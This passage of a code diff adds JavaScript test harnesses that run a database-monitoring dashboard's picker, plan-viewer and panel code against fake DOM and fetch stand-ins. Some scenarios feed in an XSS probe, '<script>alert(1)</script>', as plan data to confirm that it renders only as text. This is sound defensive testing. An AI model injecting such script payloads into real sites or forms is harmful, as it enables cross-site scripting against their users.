+    await settle();
+    const abortedAfterFirst = aborted;
+    const inFlightAfterFirst = inFlight;
+    b.abort();
+    const secondResult = await second;
+    await settle();
+    const abortedAfterSole = aborted;
+    const inFlightAfterSole = inFlight;
+    const later = modules.util.apiGetJoined(path);
+    await settle();
+    const sentAfterLater = fetches.length;
+    release();
+    const laterResult = await later;
+    return { sentForTwo, inFlightForTwo, firstKind: firstResult.kind, abortedAfterFirst, inFlightAfterFirst, secondKind: secondResult.kind, abortedAfterSole, inFlightAfterSole, sentAfterLater, laterKind: laterResult.kind };
+  },
+  focusKept: async () => {
+    const first = await build("SRV1");
+    const search = all(first, (n) => n.tag === "input" && n.attrs.type === "search")[0];
+    search.value = "Batch";
+    search.listeners.input.forEach((l) => l({}));
+    search.selectionStart = 1;
+    search.selectionEnd = 2;
+    search.focus();
+    const rebuilt = await build("SRV1");
+    const next = all(rebuilt, (n) => n.tag === "input" && n.attrs.type === "search")[0];
+    return { sameNode: next === search, focused: globalThis.document.activeElement === next, start: next.selectionStart, end: next.selectionEnd, value: next.value };
+  },
+  noFocusStolen: async () => {
+    await build("SRV1");
+    globalThis.document.activeElement = null;
+    const rebuilt = await build("SRV1");
+    const next = all(rebuilt, (n) => n.tag === "input" && n.attrs.type === "search")[0];
+    return { focused: globalThis.document.activeElement === next };
+  },
+  capInDraw: async () => {
+    await build("SRV1");
+    fetches.length = 0;
+    const slot = new FakeNode("div");
+    await modules.tabs.drawPerfmonTrends(slot, "SRV9", ctx, NAMES);
+    return { reads: trendReads().length };
+  },
+  droppedOut: async () => {
+    const first = await build("SRV1");
+    await click(button(first, "Clear All"));
+    await toggle(boxes(first).find((b) => b.attrs["aria-label"] === "C13"), true);
+    statNames = NAMES.filter((n) => n !== "C13");
+    fetches.length = 0;
+    const rebuilt = await build("SRV1");
+    const out = { checked: checkedNames(rebuilt), listedLast: listed(rebuilt).slice(-1), reads: trendReads() };
+    statNames = NAMES;
+    const back = await build("SRV1");
+    return { ...out, checkedBack: checkedNames(back) };
+  },
+  defaults: async () => {
+    const root = await build("SRV1");
+    return { checked: checkedNames(root), reads: trendReads(), chart: chartInfo(), count: all(root, (n) => n.className === "mp-count")[0].textContent, selects: all(root, (n) => n.tag === "select").length };
+  },
+  noPackCounters: async () => {
+    statNames = ["Zeta", "Alpha", "Mid"];
+    const root = await build("SRV1");
+    return { checked: checkedNames(root), reads: trendReads() };
+  },
+  checkUncheck: async () => {
+    const root = await build("SRV1");
+    const before = checkedNames(root);
+    fetches.length = 0;
+    await toggle(boxes(root).find((b) => b.attrs["aria-label"] === "Batch Requests/sec"), false);
+    const afterUncheck = checkedNames(root);
+    const readsAfterUncheck = trendReads();
+    fetches.length = 0;
+    await toggle(boxes(root).find((b) => b.attrs["aria-label"] === "Page Splits/sec"), true);
+    return { before, afterUncheck, readsAfterUncheck, afterCheck: checkedNames(root), readsAfterCheck: trendReads(), chart: chartInfo() };
+  },
+  search: async () => {
+    const root = await build("SRV1");
+    await typeSearch(root, "lock");
+    const found = listed(root);
+    await typeSearch(root, "zzz");
+    const none = listed(root);
+    const noneText = all(root, (n) => n.className === "mp-none").map((n) => n.textContent);
+    await typeSearch(root, "");
+    return { found, none, noneText, all: listed(root).length };
+  },
+  cap: async () => {
+    const root = await build("SRV1");
+    await click(button(root, "Clear All"));
+    const afterClear = checkedNames(root);
+    await click(button(root, "Select All"));
+    const disabled = boxes(root).filter((b) => b.disabled).length;
+    const hint = all(root, (n) => n.className === "mp-hint").map((n) => n.textContent);
+    const checked = checkedNames(root);
+    await click(button(root, "Clear All"));
+    const emptyChart = all(root, (n) => n.className === "strip empty").length;
+    await click(button(root, "Default counters"));
+    return { afterClear, checked, disabled, hint, emptyChart, top: checkedNames(root) };
+  },
+  survives: async () => {
+    const first = await build("SRV1");
+    await click(button(first, "Clear All"));
+    await toggle(boxes(first).find((b) => b.attrs["aria-label"] === "Lock Waits/sec"), true);
+    await typeSearch(first, "Lock");
+    const rebuilt = await build("SRV1");
+    const search = all(rebuilt, (n) => n.tag === "input" && n.attrs.type === "search")[0].value;
+    const other = await build("SRV2");
+    return { rebuilt: checkedNames(rebuilt), search, other: checkedNames(other) };
+  },
+  oneFailed: async () => {
+    failing = new Set(["SQL Compilations/sec"]);
+    const root = await build("SRV1");
+    return { chart: chartInfo(), notes: notes(root), errors: all(root, (n) => n.className === "strip error").map((n) => n.textContent) };
+  },
+  allFailed: async () => {
+    failing = new Set(NAMES);
+    const root = await build("SRV1");
+    return { chart: chartInfo(), notes: notes(root), errors: all(root, (n) => n.className === "strip error").map((n) => n.textContent) };
+  },
+  mixedKinds: async () => {
+    const root = await build("SRV1");
+    await toggle(boxes(root).find((b) => b.attrs["aria-label"] === "Total Server Memory (KB)"), true);
+    return { chart: chartInfo(), rates: undefined };
+  },
+};
+
+const chosen = scenarios[scenario];
+if (!chosen) throw new Error("unknown scenario " + scenario);
+const result = await chosen();
+console.log(JSON.stringify({ ...result, rejections }));
diff --git a/Darling/Darling.Tests/web-pg-plan-viewer-harness.mjs b/Darling/Darling.Tests/web-pg-plan-viewer-harness.mjs
new file mode 100644
index 0000000000..5006d04328
--- /dev/null
+++ b/Darling/Darling.Tests/web-pg-plan-viewer-harness.mjs
@@ -0,0 +1,152 @@
+/* #5229: runs the shipped PostgreSQL plan viewer (wwwroot/js/pages/pg-plan-viewer.js with util.js and grid-tools.js) on a small
+   fake DOM and prints what a scenario did as one line of JSON. PgPlanViewerBehaviourTests starts it as
+       node web-pg-plan-viewer-harness.mjs <path to the js folder> <scenario>
+   Only the DOM, the clipboard and the download plumbing are stand-ins; fetch is a counter that must stay at 0. */
+import { pathToFileURL } from "node:url";
+
+class FakeNode {
+  constructor(tag) { this.tag = tag; this.children = []; this.attrs = {}; this.listeners = {}; this.parent = null; this._text = ""; this.className = ""; this.style = {}; }
+  get firstChild() { return this.children[0] || null; }
+  get textContent() { return this._text + this.children.map((c) => c.textContent).join(""); }
+  set textContent(v) { this._text = String(v); this.children = []; }
+  setAttribute(k, v) { this.attrs[k] = String(v); }
+  appendChild(c) { if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c); c.parent = this; this.children.push(c); return c; }
+  removeChild(c) { this.children = this.children.filter((x) => x !== c); c.parent = null; }
+  addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
+  click() { for (const fn of this.listeners.click || []) fn({ preventDefault() {}, target: this }); }
+  all(pred, acc = []) { if (pred(this)) acc.push(this); for (const c of this.children) c.all && c.all(pred, acc); return acc; }
+  byText(t) { return this.all((n) => n.tag === "button" && n.textContent === t)[0] || null; }
+}
+class FakeText extends FakeNode { constructor(t) { super("#text"); this._text = t; } }
+globalThis.Node = FakeNode;
+const body = new FakeNode("body");
+const downloads = [];
+globalThis.document = { body, createElement: (t) => new FakeNode(t), createTextNode: (t) => new FakeText(t) };
+URL.createObjectURL = (blob) => { downloads.push({ blob }); return "blob:fake"; };
+URL.revokeObjectURL = () => {};
+const origAppend = body.appendChild.bind(body);
+body.appendChild = (a) => { if (a.tag === "a") a.click = () => { downloads[downloads.length - 1].name = a.download; }; return origAppend(a); };
+const clip = [];
+Object.defineProperty(globalThis, "navigator", { value: { clipboard: { writeText: async (t) => { clip.push(t); } } }, configurable: true, writable: true });
+globalThis.location = { hash: "#/server/a/queries" };
+const fetches = [];
+globalThis.fetch = async (url) => { fetches.push(String(url)); throw new Error("no fetch expected"); };
+
+/* ResizeObserver stand-in that counts the observers still connected (plan-row.js: a closed panel must leave none). */
+const observers = [];
+globalThis.ResizeObserver = class { constructor() { this.live = true; observers.push(this); } observe() {} disconnect() { this.live = false; } };
+const liveObservers = () => observers.filter((o) => o.live).length;
+
+const root = process.argv[2];
+const viewer = await import(pathToFileURL(root + "/pages/pg-plan-viewer.js").href);
+const flush = () => new Promise((r) => setTimeout(r, 5));
+const out = {};
+const plan = { "Query Identifier": -8126435036642491494, Plan: { "Node Type": "Seq Scan", "Relation Name": "orders", Filter: "(note = '<script>alert(1)</script>')", "Total Cost": 12.5, "Plan Rows": 40 }, "Execution Time": 10.25 };
+const row = { queryid: "-8126435036642491494", plan_hash: "ABC123", plan };
+const badRow = { queryid: "q/1 x", plan_hash: "h<1>", plan };
+const stringRow = { queryid: "7", plan_hash: "S1", plan: '{"Plan": {"Node Ty' };
+const noPlanRow = { queryid: "8", plan_hash: "N1", plan: null };
+const pre = (cell) => cell.all((n) => n.tag === "pre")[0] || null;
+
+const scenarios = {
+  async open() {
+    viewer.resetPgPlanViewer();
+    const cell = viewer.pgPlanCell("srv-a", row);
+    out.buttonBefore = cell.byText("Plan") !== null;
+    out.preBefore = pre(cell) !== null;
+    cell.byText("Plan").click();
+    out.text = pre(cell).textContent;
+    out.hasCopy = cell.byText("Copy") !== null;
+    out.hasDownload = cell.byText("Download .json") !== null;
+    out.expanded = cell.byText("Hide plan").attrs["aria-expanded"];
+    out.fetches = fetches.length;
+    out.openClass = cell.className;
+    out.hasSpacer = cell.all((n) => n.className === "plan-spacer").length === 1;
+    out.observersOpen = liveObservers();
+    cell.byText("Hide plan").click();
+    out.observersClosed = liveObservers();
+    out.preAfterHide = pre(cell) !== null;
+    out.closedClass = cell.className;
+  },
+  async textOnly() {
+    viewer.resetPgPlanViewer();
+    const cell = viewer.pgPlanCell("srv-a", row);
+    cell.byText("Plan").click();
+    const p = pre(cell);
+    out.preChildElements = p.children.filter((c) => c.tag !== "#text").length;
+    out.scriptNodes = cell.all((n) => n.tag === "script").length;
+    out.text = p.textContent;
+  },
+  async download() {
+    viewer.resetPgPlanViewer();
+    const cell = viewer.pgPlanCell("srv-a", badRow);
+    cell.byText("Plan").click();
+    cell.byText("Download .json").click();
+    out.name = downloads[0] && downloads[0].name;
+    out.type = downloads[0] && downloads[0].blob.type;
+    out.body = downloads[0] && await downloads[0].blob.text();
+    out.shown = pre(cell).textContent;
+    out.fileName = viewer.pgPlanFileName(row);
+    out.missing = viewer.pgPlanFileName({});
+  },
+  async copy() {
+    viewer.resetPgPlanViewer();
+    const cell = viewer.pgPlanCell("srv-a", row);
+    cell.byText("Plan").click();
+    cell.byText("Copy").click();
+    await flush();
+    out.clip = clip[0];
+    out.shown = pre(cell).textContent;
+  },
+  async unparsed() {
+    viewer.resetPgPlanViewer();
+    const cell = viewer.pgPlanCell("srv-a", stringRow);
+    cell.byText("Plan").click();
+    out.notice = cell.all((n) => n.className === "strip notice").map((n) => n.textContent)[0] || null;
+    const dl = cell.byText("Download .json");
+    out.downloadDisabled = dl.disabled === true && "disabled" in dl.attrs;
+    dl.click();
+    out.downloads = downloads.length;
+    out.copyEnabled = cell.byText("Copy").disabled !== true;
+    out.shown = pre(cell).textContent;
+  },
+  async summary() {
+    viewer.resetPgPlanViewer();
+    const cell = viewer.pgPlanCell("srv-a", row);
+    cell.byText("Plan").click();
+    out.text = cell.all((n) => n.className === "plan-summary").map((n) => n.textContent)[0] || "";
+    out.caveat = cell.textContent.includes("Query ID is exact in the grid");
+    const plain = viewer.pgPlanCell("srv-a", { queryid: "1", plan_hash: "P", plan: { Plan: { "Node Type": "Result" } } });
+    plain.byText("Plan").click();
+    out.plainCaveat = plain.textContent.includes("Query ID is exact in the grid");
+    out.expectedCost = (12.5).toLocaleString(undefined, { maximumFractionDigits: 2 });
+    out.expectedRows = (40).toLocaleString(undefined, { maximumFractionDigits: 2 });
+    out.plainSummary = viewer.pgPlanSummary({ Plan: { "Node Type": "Result" } }).length;
+  },
+  async noPlan() {
+    const a = viewer.pgPlanCell("srv-a", noPlanRow);
+    const b = viewer.pgPlanCell("srv-a", { queryid: "9", plan_hash: "E", plan: "" });
+    out.text = a.textContent;
+    out.emptyText = b.textContent;
+    out.hasButton = a.all && a.all((n) => n.tag === "button").length > 0;
+  },
+  async rebuild() {
+    viewer.resetPgPlanViewer();
+    viewer.pgPlanCell("srv-a", row).byText("Plan").click();
+    const again = viewer.pgPlanCell("srv-a", row);
+    out.sameOpen = pre(again) !== null;
+    out.otherOpen = pre(viewer.pgPlanCell("srv-b", row)) !== null;
+    const otherHash = viewer.pgPlanCell("srv-a", { queryid: row.queryid, plan_hash: "ZZZ999", plan });
+    out.otherHashOpen = pre(otherHash) !== null;
+    out.keys = viewer.openPgPlanKeys();
+  },
+  async column() {
+    const c = viewer.pgPlanColumn("s");
+    out.key = c.key; out.label = c.label; out.csv = c.csv; out.sortable = c.sortable; out.hideWhenEmpty = c.hideWhenEmpty;
+    out.filter = c.filter; out.copy = c.copy;
+    out.rendered = c.render(row).byText("Plan") !== null;
+  },
+};
+
+await scenarios[process.argv[3]]();
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/web-picker-driver.mjs b/Darling/Darling.Tests/web-picker-driver.mjs
new file mode 100644
index 0000000000..3d17c68ad3
--- /dev/null
+++ b/Darling/Darling.Tests/web-picker-driver.mjs
@@ -0,0 +1,78 @@
+/* Drives the shared time range picker (wwwroot/js/time-range-picker.js) inside the page harnesses' node-tree DOM (#5562).
+   A harness's FakeNode keeps one handler per event type and sets `className` through el(). The helpers here open the popup, type
+   a range into its text box and press Enter, exactly as a reader does, so a page test exercises the real control and not a
+   stand-in. Import it from a harness; it does not copy the js tree and reads no page file itself. */
+
+/** Raises an event on a harness node, whichever FakeNode shape it is (`handlers[type]` or `listeners[type]` with `fire`). */
+export function raise(node, type, event = {}) {
+  if (node.handlers && node.handlers[type]) return node.handlers[type](event);
+  if (typeof node.fire === "function") return node.fire(type, event);
+  throw new Error("no " + type + " handler on " + node.tag);
+}
+
+export function allNodes(node, out = []) {
+  out.push(node);
+  for (const c of node.children || []) allNodes(c, out);
+  return out;
+}
+
+/** The picker's button, found by the accessible name the page gave it ("Window", "Time range", ...). */
+export function pickerButton(root, label) {
+  return allNodes(root).find(
+    (n) => n.tag === "button" && String(n.className || "").includes("trp-button") && String(n.attrs["aria-label"] || "").startsWith(label + ":")
+  );
+}
+
+/** The button's text: the range name the picker shows ("Past 1 day", "Custom (45m)"). */
+export function pickerText(root, label) {
+  const b = pickerButton(root, label);
+  return b ? b.textContent : null;
+}
+
+/** The popup's items by their name, with whether each is greyed out and the reason it gives. Opens the popup. */
+export function pickerItems(root, label) {
+  const b = pickerButton(root, label);
+  raise(b, "click");
+  const items = allNodes(root)
+    .filter((n) => n.tag === "button" && String(n.className || "").includes("trp-item"))
+    .map((n) => ({
+      name: n.children[0].textContent,
+      disabled: String(n.className).includes("trp-disabled"),
+      why: (n.children.find((c) => String(c.className || "").includes("trp-item-why")) || { textContent: null }).textContent,
+    }));
+  raise(b, "click");
+  return items;
+}
+
+/** Whether the popup carries the calendar periods and the start-and-end boxes. */
+export function popupShape(root, label) {
+  const b = pickerButton(root, label);
+  raise(b, "click");
+  const nodes = allNodes(root);
+  const headings = nodes.filter((n) => String(n.className || "").includes("trp-heading")).map((n) => n.textContent);
+  const boxes = nodes.filter((n) => n.tag === "input" && n.attrs.type === "datetime-local").length;
+  raise(b, "click");
+  return { headings, dateBoxes: boxes };
+}
+
+/** Types `text` into the popup's box and presses Enter. Returns the preview line the picker showed before Enter. */
+export function pickRange(root, label, text) {
+  const b = pickerButton(root, label);
+  raise(b, "click");
+  const box = allNodes(root).find((n) => n.tag === "input" && n.attrs["aria-label"] === "Type a time range");
+  box.value = text;
+  raise(box, "input");
+  const preview = allNodes(root).find((n) => String(n.className || "").includes("trp-preview"));
+  const shown = preview ? preview.textContent : "";
+  raise(box, "keydown", { key: "Enter", preventDefault() {} });
+  /* A refused range leaves the popup open; close it so the next pick starts from the closed state. */
+  if (b.attrs["aria-expanded"] === "true") raise(b, "click");
+  return shown;
+}
+
+/** The document stub every harness needs once the picker's popup opens (it listens for an outside click only while open). */
+export function withDocumentListeners(doc) {
+  doc.addEventListener = doc.addEventListener || (() => {});
+  doc.removeEventListener = doc.removeEventListener || (() => {});
+  return doc;
+}
diff --git a/Darling/Darling.Tests/web-plain-text-harness.mjs b/Darling/Darling.Tests/web-plain-text-harness.mjs
new file mode 100644
index 0000000000..dffef90878
--- /dev/null
+++ b/Darling/Darling.Tests/web-plain-text-harness.mjs
@@ -0,0 +1,11 @@
+/* Runs the shipped wwwroot/js/plain-text.js on the texts in HARNESS_INPUT (a JSON array of strings) and prints
+   {"out": [...]} as one line. WebPlainTextTests starts it as
+       node web-plain-text-harness.mjs <path to wwwroot/js>
+   The module has no imports, so it is loaded straight from the js folder. */
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const jsDir = process.argv[process.argv.length - 1];
+const mod = await import(pathToFileURL(path.join(jsDir, "plain-text.js")).href);
+const inputs = JSON.parse(process.env.HARNESS_INPUT);
+console.log(JSON.stringify({ out: inputs.map((t) => mod.plainText(t)), named: inputs.map((t) => mod.plainTextNamed(t)), line: mod.NOT_COLLECTED_LINE, tools: mod.MCP_TOOL_NAMES, labels: mod.MEASUREMENT_LABELS }));
diff --git a/Darling/Darling.Tests/web-plan-row-harness.mjs b/Darling/Darling.Tests/web-plan-row-harness.mjs
new file mode 100644
index 0000000000..e37a2daff2
--- /dev/null
+++ b/Darling/Darling.Tests/web-plan-row-harness.mjs
@@ -0,0 +1,109 @@
+/* Runs the shipped plan-row.js (wwwroot/js/plan-row.js, with util.js) on a small fake DOM and prints what a scenario did as
+   one line of JSON. PlanRowBehaviourTests starts it as
+       node web-plan-row-harness.mjs <path to the js folder> <scenario>
+   Only the DOM, its geometry and ResizeObserver are stand-ins: the observer records what it watches and whether it is still
+   connected, so a scenario can count the observers a panel leaves behind. */
+import { pathToFileURL } from "node:url";
+
+class FakeNode {
+  constructor(tag) { this.tag = tag; this.children = []; this.attrs = {}; this.listeners = {}; this.parent = null; this._text = ""; this.className = ""; this.style = {}; this.rect = { left: 0, width: 0 }; this.clientWidth = 0; this.clientLeft = 0; }
+  get isConnected() { let n = this; while (n.parent) n = n.parent; return n === body; }
+  get firstChild() { return this.children[0] || null; }
+  get textContent() { return this._text + this.children.map((c) => c.textContent).join(""); }
+  set textContent(v) { this._text = String(v); this.children = []; }
+  setAttribute(k, v) { this.attrs[k] = String(v); }
+  appendChild(c) { if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c); c.parent = this; this.children.push(c); return c; }
+  removeChild(c) { this.children = this.children.filter((x) => x !== c); c.parent = null; }
+  addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
+  removeEventListener(t, fn) { this.listeners[t] = (this.listeners[t] || []).filter((f) => f !== fn); }
+  fire(t) { for (const fn of this.listeners[t] || []) fn({ target: this }); }
+  getBoundingClientRect() { return { left: this.rect.left, width: this.rect.width, right: this.rect.left + this.rect.width }; }
+  /* Only the two selectors plan-row.js asks for: a tag name and a class. */
+  closest(sel) { for (let n = this; n; n = n.parent) if (sel.startsWith(".") ? n.className.split(" ").includes(sel.slice(1)) : n.tag === sel) return n; return null; }
+}
+class FakeObserver {
+  static all = [];
+  constructor(cb) { this.cb = cb; this.targets = []; this.live = true; FakeObserver.all.push(this); }
+  observe(t) { this.targets.push(t); }
+  disconnect() { this.live = false; this.targets = []; }
+  fire() { this.cb([]); }
+}
+const body = new FakeNode("body");
+globalThis.Node = FakeNode;
+globalThis.document = { body, createElement: (t) => new FakeNode(t), createTextNode: (t) => Object.assign(new FakeNode("#text"), { _text: t }) };
+globalThis.ResizeObserver = FakeObserver;
+
+const planRow = await import(pathToFileURL(process.argv[2] + "/plan-row.js").href);
+const out = {};
+const live = () => FakeObserver.all.filter((o) => o.live).length;
+const scrollListeners = (wrap) => (wrap.listeners.scroll || []).length;
+
+/* wrap > table > tbody > tr > td > host(button), on the page. */
+function grid(rows = 2) {
+  const wrap = new FakeNode("div"); wrap.className = "table-wrap"; wrap.clientWidth = 600;
+  const table = new FakeNode("table"); const tbody = new FakeNode("tbody");
+  wrap.appendChild(table); table.appendChild(tbody); body.appendChild(wrap);
+  const hosts = [];
+  for (let i = 0; i < rows; i++) {
+    const tr = new FakeNode("tr"); const td = new FakeNode("td"); const host = new FakeNode("div"); host.className = planRow.CLOSED_CLASS;
+    host.appendChild(new FakeNode("button")); td.appendChild(host); tr.appendChild(td); tbody.appendChild(tr); hosts.push(host);
+  }
+  return { wrap, tbody, hosts };
+}
+const panelNode = () => { const p = new FakeNode("div"); p.className = "plan-panel"; return p; };
+
+const scenarios = {
+  /* The pure rule: where the panel sits so it covers the wrap's visible area. */
+  async geometry() {
+    const g = planRow.pinGeometry;
+    out.scrolledRight = g({ wrapLeft: 0, wrapClientLeft: 0, wrapClientWidth: 600, rowLeft: -2487, rowWidth: 3087 });
+    out.notScrolled = g({ wrapLeft: 0, wrapClientLeft: 0, wrapClientWidth: 600, rowLeft: 0, rowWidth: 3087 });
+    out.narrowTable = g({ wrapLeft: 0, wrapClientLeft: 0, wrapClientWidth: 600, rowLeft: 0, rowWidth: 400 });
+    out.offsetWrap = g({ wrapLeft: 250, wrapClientLeft: 1, wrapClientWidth: 600, rowLeft: -1000, rowWidth: 3087 });
+    out.pastTheEnd = g({ wrapLeft: 0, wrapClientLeft: 0, wrapClientWidth: 600, rowLeft: -9000, rowWidth: 3087 });
+    out.beforeTheStart = g({ wrapLeft: 0, wrapClientLeft: 0, wrapClientWidth: 600, rowLeft: 80, rowWidth: 3087 });
+  },
+  /* The panel is pinned on the first fit, follows a scroll of the wrap, and follows a resize of the wrap. */
+  async pinsToVisibleArea() {
+    const { wrap, hosts } = grid();
+    const host = hosts[0]; const row = host.closest("tr"); const panel = panelNode();
+    row.rect = { left: -2487, width: 3087 };
+    planRow.dockPanelUnderRow(host, panel);
+    FakeObserver.all[0].fire();
+    out.afterOpen = { left: panel.style.left, width: panel.style.width, right: panel.style.right };
+    row.rect = { left: -1000, width: 3087 }; wrap.fire("scroll");
+    out.afterScroll = { left: panel.style.left, width: panel.style.width };
+    wrap.clientWidth = 450; FakeObserver.all[0].fire();
+    out.afterResize = { left: panel.style.left, width: panel.style.width };
+    out.watching = FakeObserver.all[0].targets.map((t) => t.tag + ":" + t.className);
+  },
+  /* One observer per open panel; closing, redrawing and discarding the grid all let go of it. */
+  async observerLifecycle() {
+    const { wrap, tbody, hosts } = grid();
+    const [a, b] = hosts;
+    out.start = live();
+    planRow.dockPanelUnderRow(a, panelNode());
+    out.afterOpen = live();
+    FakeObserver.all[0].fire();
+    out.scrollListenersOpen = scrollListeners(wrap);
+    planRow.undockPanel(a);
+    out.afterClose = live();
+    out.scrollListenersClosed = scrollListeners(wrap);
+    out.closedClass = a.className;
+    /* Drawn again and again (a panel reloading) never stacks observers. */
+    for (let i = 0; i < 4; i++) { planRow.dockPanelUnderRow(a, panelNode()); FakeObserver.all[FakeObserver.all.length - 1].fire(); }
+    out.afterRedraws = live();
+    out.scrollListenersRedrawn = scrollListeners(wrap);
+    /* A grid re-render takes the row out of the page; the next time the observer fires the panel is let go. */
+    planRow.dockPanelUnderRow(b, panelNode());
+    FakeObserver.all[FakeObserver.all.length - 1].fire();
+    out.beforeRerender = live();
+    tbody.removeChild(b.closest("tr"));
+    for (const o of FakeObserver.all.filter((x) => x.live)) o.fire();
+    out.afterRerender = live();
+    out.scrollListenersAfterRerender = scrollListeners(wrap);
+  },
+};
+
+await scenarios[process.argv[3]]();
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/web-plan-viewer-harness.mjs b/Darling/Darling.Tests/web-plan-viewer-harness.mjs
new file mode 100644
index 0000000000..41e57eb619
--- /dev/null
+++ b/Darling/Darling.Tests/web-plan-viewer-harness.mjs
@@ -0,0 +1,628 @@
+/* #4843: runs the shipped stored-plan viewer (wwwroot/js/pages/plan-viewer.js with util.js and grid-tools.js) on a small
+   fake DOM and prints what a scenario did as one line of JSON. PlanViewerBehaviourTests starts it as
+       node web-plan-viewer-harness.mjs <path to the js folder> <scenario>
+   Only the DOM, fetch, the clipboard and the download plumbing are stand-ins. */
+import { pathToFileURL } from "node:url";
+import { readFileSync } from "node:fs";
+
+class FakeNode {
+  constructor(tag) { this.tag = tag; this.children = []; this.attrs = {}; this.listeners = {}; this.parent = null; this._text = ""; this.className = ""; this.style = {}; this.isConnected = FakeNode.newConnected; }
+  get firstChild() { return this.children[0] || null; }
+  get textContent() { return this._text + this.children.map((c) => c.textContent).join(""); }
+  set textContent(v) { this._text = String(v); this.children = []; }
+  setAttribute(k, v) { this.attrs[k] = String(v); }
+  appendChild(c) { if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c); c.parent = this; this.children.push(c); c.isConnected = true; return c; }
+  removeChild(c) { this.children = this.children.filter((x) => x !== c); c.parent = null; c.isConnected = false; }
+  addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
+  click() { for (const fn of this.listeners.click || []) fn({ preventDefault() {}, target: this }); }
+  all(pred, acc = []) { if (pred(this)) acc.push(this); for (const c of this.children) c.all && c.all(pred, acc); return acc; }
+  byText(t) { return this.all((n) => n.tag === "button" && n.textContent === t)[0] || null; }
+}
+/* A new node starts on the page here. A scenario that builds a grid sets this to false, as a browser would: a node is not on
+   the page until something puts it there. */
+FakeNode.newConnected = true;
+class FakeText extends FakeNode { constructor(t) { super("#text"); this._text = t; } }
+globalThis.Node = FakeNode;
+const body = new FakeNode("body");
+const downloads = [];
+globalThis.document = { body, createElement: (t) => new FakeNode(t), createTextNode: (t) => new FakeText(t) };
+URL.createObjectURL = (blob) => { downloads.push({ blob }); return "blob:fake"; };
+URL.revokeObjectURL = () => {};
+const origAppend = body.appendChild.bind(body);
+body.appendChild = (a) => { if (a.tag === "a") a.click = () => { downloads[downloads.length - 1].name = a.download; }; return origAppend(a); };
+const clip = [];
+Object.defineProperty(globalThis, "navigator", { value: { clipboard: { writeText: async (t) => { clip.push(t); } } }, configurable: true, writable: true });
+globalThis.location = { hash: "#/server/a/queries" };
+
+const fetches = [];
+let reply = { status: 200, body: "{}" };
+globalThis.fetch = async (url) => {
+  fetches.push(String(url));
+  return { status: reply.status, ok: reply.status < 400, text: async () => reply.body };
+};
+/* What the read route answers for a stored plan: 200 JSON with the XML and a server-decided truncated flag. */
+const planReply = (xml, truncated = false) => { reply = { status: 200, body: JSON.stringify({ query_hash: "H1", database_name: null, plan_xml: xml, truncated }) }; };
+const noPlanReply = () => { reply = { status: 200, body: JSON.stringify({ status: "unavailable", message: "No stored plan found for query_hash 'H1'." }) }; };
+
+/* ResizeObserver stand-in that counts the observers still connected (plan-row.js: a closed panel must leave none). */
+const observers = [];
+globalThis.ResizeObserver = class { constructor() { this.live = true; observers.push(this); } observe() {} disconnect() { this.live = false; } };
+const liveObservers = () => observers.filter((o) => o.live).length;
+
+const root = process.argv[2];
+const viewer = await import(pathToFileURL(root + "/pages/plan-viewer.js").href);
+const flush = () => new Promise((r) => setTimeout(r, 5));
+const out = {};
+const row = { query_hash: "0xABCDEF0123456789", database_name: "Orders", query_text: "select 1" };
+const XML = '<ShowPlanXML xmlns="http://schemas.microsoft.com/sqlserver/2004/07/showplan"><BatchSequence><Batch><Statements><StmtSimple StatementText="select * from t where a &gt; 1 and b &lt; &quot;&lt;script&gt;&quot;"><QueryPlan CachedPlanSize="16"><RelOp NodeId="0" PhysicalOp="Index Scan"/></QueryPlan></StmtSimple></Statements></Batch></BatchSequence></ShowPlanXML>';
+const pre = (cell) => cell.all((n) => n.tag === "pre")[0] || null;
+const params = () => new URL(fetches[fetches.length - 1], "http://viewer.test");
+
+const scenarios = {
+  /* #4348: the viewer draws exactly what the read route answered. argv[4] is a file holding that answer's body (a plan
+     the statement filter has already judged); the scenario opens the plan panel on it and reports what the panel shows. */
+  async answeredPlan() {
+    reply = { status: 200, body: readFileSync(process.argv[4], "utf8") };
+    const cell = viewer.storedPlanCell("srv-a", row);
+    cell.byText("Plan").click();
+    await flush();
+    out.pre = pre(cell).textContent;
+  },
+  async open() {
+    planReply(XML);
+    const cell = viewer.storedPlanCell("srv-a", row);
+    out.buttonBefore = cell.byText("Plan") !== null;
+    cell.byText("Plan").click();
+    out.loading = cell.textContent;
+    await flush();
+    const u = params();
+    out.path = u.pathname;
+    out.query = Object.fromEntries(u.searchParams);
+    out.pre = pre(cell).textContent;
+    out.preTag = pre(cell).tag;
+    out.hasCopy = cell.byText("Copy") !== null;
+    out.hasDownload = cell.byText("Download .sqlplan") !== null;
+    out.noHashCell = viewer.storedPlanCell("srv-a", { query_hash: null }).textContent;
+    out.openClass = cell.className;
+    out.hasSpacer = cell.all((n) => n.className === "plan-spacer").length === 1;
+    out.observersOpen = liveObservers();
+    cell.byText("Hide plan").click();
+    out.observersClosed = liveObservers();
+    out.closed = pre(cell) === null;
+    out.closedClass = cell.className;
+  },
+  async textOnly() {
+    planReply(XML);
+    const cell = viewer.storedPlanCell("srv-a", row);
+    cell.byText("Plan").click();
+    await flush();
+    const p = pre(cell);
+    out.preChildren = p.children.length;
+    out.scriptElements = cell.all((n) => n.tag === "script").length;
+    out.hasHtmlAttr = cell.all((n) => "innerHTML" in n && n.innerHTML !== undefined).length;
+    out.text = p.textContent;
+    out.lines = p.textContent.split("\n").length;
+    out.pretty = viewer.prettyPrintXml('<a><b x="1>2">t</b><c/><d><e/></d></a>');
+    out.notXml = viewer.prettyPrintXml("not xml <at all");
+  },
+  async download() {
+    planReply(XML);
+    const cell = viewer.storedPlanCell("srv-a", row);
+    cell.byText("Plan").click();
+    await flush();
+    cell.byText("Download .sqlplan").click();
+    const d = downloads[downloads.length - 1];
+    out.name = d.name;
+    out.type = d.blob.type;
+    out.body = await d.blob.text();
+    out.bodyIsStored = out.body === XML;
+    out.safeName = viewer.planFileName("a/b c");
+  },
+  async copy() {
+    planReply(XML);
+    const cell = viewer.storedPlanCell("srv-a", row);
+    cell.byText("Plan").click();
+    await flush();
+    cell.byText("Copy").click();
+    await flush();
+    out.copied = clip[0];
+    out.matchesShown = clip[0] === pre(cell).textContent;
